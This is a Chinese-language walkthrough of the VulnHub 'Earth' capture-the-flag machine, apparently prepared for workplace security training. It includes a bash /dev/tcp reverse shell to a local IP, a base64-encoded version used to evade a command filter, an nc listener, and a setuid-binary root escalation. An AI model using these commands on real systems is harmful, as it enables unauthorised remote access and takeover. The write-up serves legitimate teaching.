vlunhub-earth
导语
给公司的同事们做个小培训,用当初激发我对网络安全兴趣的方式来激活大家的兴趣吧
来自https://www.vulnhub.com/entry/the-planets-earth,755/
earth
首先发现
开启了22 80 443,分别是ssh、http和https服务,貌似都没啥东西,在浏览器打开看看。
看到有个DNS解析,于是写进hosts
再访问,发现可以访问了。
同时看看terratest
发现test site,稍微记一下,估计有问题。
扫描目录
我一般扫勾八和dirsearch的俩字典就到头了,如果你闲也可以在扫一个御剑的,或者你自己组一个好字典都行
可以看到有admin,有admin/login,有robots
没登录的admin会提示到这里
testingnotes是一个需要关注的东西,经过尝试,是testingnotes.txt
说是,用异或来当加密算法,应该和RSA差不多安全(?)
testdata.txt被用来测试加密
terra是admin portal的用户名
于是看看testdata.txt
所以应该这一串xor密钥得到了我们在开头显示的那些东西
给他再与原文异或,即可得到密钥
回去用terra/earthclimatechangebad4humans登录,是一个命令执行
本地nc,写一个反弹shell的
bash -c 'exec bash -i &>/dev/tcp/192.168.77.140/8888 0>&1' |
bash -i
代表在本地打开一个bash。>&
后面跟上/dev/tcp/ip/port
这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接。- 在该命令后面加上
0>&1
,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程。
这里会显示
用base64绕过
同时在本地
nc -nlvp 8888 |
然后在web界面输入
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNzcuMTQwLzg4ODggMD4mMQo= | base64 -d | bash |
这里我们就获得了一个webshell,权限等级为48。接下来考虑提权,先搜一下有root权限且setuid的
一眼盯侦,有个reset_root。直接cat一下看是不是shell脚本,发现并不是
strings看一眼,发现有
看来是改root密码的
使用ltrace来跟踪库函数调用
access("/dev/shm/kHgTFI5G", 0)
通过查函数,是判断这几个是否存在
所以就给他都创建了,再执行reset_root即可修改root密码